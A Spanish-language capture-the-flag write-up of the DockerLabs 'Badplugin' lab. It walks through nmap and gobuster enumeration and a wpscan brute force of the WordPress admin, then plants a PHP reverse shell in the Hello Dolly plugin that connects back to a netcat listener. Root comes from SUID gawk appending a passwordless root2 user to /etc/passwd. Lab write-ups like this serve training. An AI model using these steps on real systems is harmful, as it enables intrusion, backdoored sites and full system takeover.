Post

DockerLabs - Badplugin

DockerLabs - Badplugin

nmap

1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2
PORT   STATE SERVICE
80/tcp open  http
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ nmap -sCV -p80 172.17.0.2                     
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Error Message
|_http-server-header: Apache/2.4.58 (Ubuntu)

análisis

En la página principal de la máquina vemos un botón:

Desktop View

Al pulsarlo, nos indica el siguiente mensaje:

Desktop View

En el código fuente de la página vemos que realmente es un mensaje meramente visual, no está realmente haciendo una llamada a ningún servicio:

Desktop View

Dejaremos gobuster corriendo en segundo plano para buscar recursos en el servidor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info.php             (Status: 200) [Size: 87159]
/wordpress            (Status: 301) [Size: 312] [--> http://172.17.0.2/wordpress/]
/javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/index.html           (Status: 200) [Size: 1960]
/phpmyadmin           (Status: 301) [Size: 313] [--> http://172.17.0.2/phpmyadmin/]
/server-status        (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

Vemos que en el recurso /info.php se está viendo la ejecución del comando phpinfo():

Desktop View

Tambien encontramos que hay un phpmyadmin en el servidor, el cual se encarga de gestionar las bases de datos, pero no encontramos ninguna manera de saltarnos el panel de autenticación:

Desktop View

Nos indica que el recurso /wordpress también existe, pero vemos que nos redirige al host escolares.dl:

Desktop View

Para que el host resuelva correctamente, debemos agregarlo al fichero /etc/hosts de nuestra máquina:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ cat /etc/hosts | grep escolares                                                     
172.17.0.2      escolares.dl

Si ahora volvemos a recargar la página, veremos que ya nos carga correctamente:

Desktop View

Para obtener más información relacionada con las páginas que están construidas con WordPress, la herramienta wpscan es muy útil, por lo que la ejecutaremos en modo agresivo, ya que es un entorno controlado.

Pasado un rato, nos descubre que el usuario admin es válido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ wpscan --url http://escolares.dl/wordpress --detection-mode aggressive -e ap,at,u -t 32
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | `_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

...

[i] User(s) Identified:

[+] admin
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://escolares.dl/wordpress/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Oembed API - Author URL (Aggressive Detection)
 |   - http://escolares.dl/wordpress/wp-json/oembed/1.0/embed?url=http://escolares.dl/wordpress/&format=json
 |  Author Sitemap (Aggressive Detection)
 |   - http://escolares.dl/wordpress/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

...

[+] Requests Done: 30673
[+] Cached Requests: 37
[+] Data Sent: 8.52 MB
[+] Data Received: 9.423 MB
[+] Memory used: 326.426 MB
[+] Elapsed time: 00:18:59

Emplearemos nuevamente la herramienta wpscan, pero ahora para tratar de obtener la contraseña del usuario admin por fuerza bruta, la cual obtenemos al momento:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ wpscan --url http://escolares.dl/wordpress -U admin -P /usr/share/seclists/Passwords/rockyou.txt -t 32
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | `_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
...
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / *******                                                                                                                                                                                       
Trying admin / tigger Time: 00:00:01 <

[!] Valid Combinations Found:
 | Username: admin, Password: *******

Probamos la credenciales obtenidas, y vemos que son correctas:

Desktop View

acceso inicial (www-data)

Para poder acceder al sistema, uno de los métodos es usar el plugin Hello Dolly, ya que su estructura es simple, y permite ejecutar scripts en PHP.

Lo primero es buscar e instalar el plugin Hello Dolly (y no activarlo todavía, ya que de lo contrario no podremos modificar el script):

Desktop View

Lo siguiente será acceder a la edición de ficheros de los plugins, donde indicaremos el plugin Hello Dolly, agregaremos el contenido del script php-reverse-shell.php al inicio del script hello.php (yo he borrado los comentarios iniciales, y he modificado las variables $ip y $port), y luego guardamos los cambios con el botón Actualizar archivo:

Desktop View

Si se ha guardado correctamente, nos lo indicará con el siguiente mensaje:

Desktop View

Para obtener la consola remota, ahora deberemos ponernos en escucha con nc:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ nc -lvp 4444             
listening on [any] 4444 ...

Activaremos el plugin Hello Dolly:

Desktop View

Una vez activado, habremos obtenido la consola remota:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ nc -lvp 4444             
listening on [any] 4444 ...
connect to [172.17.0.1] from escolares.dl [172.17.0.2] 35254
Linux 8c1bac1f8653 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 x86_64 x86_64 GNU/Linux
 XX:XX:XX up 5 days,  3:44,  0 user,  load average: 1.76, 2.07, 2.14
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can`t access tty; job control turned off
$ whoami
www-data
$ hostname -I
172.17.0.2

Procederemos a tratar la TTY para poder operar con mayor facilidad:

1
2
3
4
5
6
7
8
9
10
11
12
$ script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@8c1bac1f8653:/$ ^Z
zsh: suspended  nc -lvp 4444

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Badplugin]
└─$ stty raw -echo;fg   
[1]  + continued  nc -lvp 4444
                              reset xterm
www-data@8c1bac1f8653:/$ export TERM=xterm
www-data@8c1bac1f8653:/$ export SHELL=bash
www-data@8c1bac1f8653:/$ stty rows 45 columns 210

Listamos los usuarios del sistema que tengan una consola asignada en el fichero /etc/passwd:

1
2
3
4
www-data@8c1bac1f8653:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
luisillo:x:1001:1001:,,,:/home/luisillo:/bin/bash

escalada de privilegios (root)

Buscamos los binarios cuyos permisos sean SUID (permite ejecutar el binario con los permisos del propietario), donde el que salta a la vista es /usr/bin/gawk:

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@8c1bac1f8653:/$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chsh
/usr/bin/gawk
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Encontramos en GTFOBins que podemos aprovecharnos de distintas maneras de la utilidad gawk (versión de awk desarrollada como parte del proyecto GNU) cuando tiene permisos SUID:

Desktop View

La técnica que emplearemos en esta ocasión es la de escribir con permisos elevados en ficheros críticos, que será en el fichero /etc/passwd, y agregaremos un nuevo usuario privilegiado (el cual no tendrá contraseña asignada):

1
www-data@eaa9d3c280bf:/tmp$ gawk 'BEGIN { print "root2::0:0::/root:/bin/bash" >> "/etc/passwd" }'

Una vez ejecutado el comando, podremos ver que efectivamente hemos podido escribir en el fichero /etc/passwd:

1
2
www-data@eaa9d3c280bf:/tmp# cat /etc/passwd | grep root2
root2::0:0::/root:/bin/bash

Si ahora nos conectamos como el nuevo usuario, veremos que obtenemos la consola privilegiada sin haber tenido que aportar credenciales:

1
2
3
www-data@eaa9d3c280bf:/tmp$ su root2
root@eaa9d3c280bf:/tmp# whoami
root

De esta manera habremos completado la máquina Badplugin!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.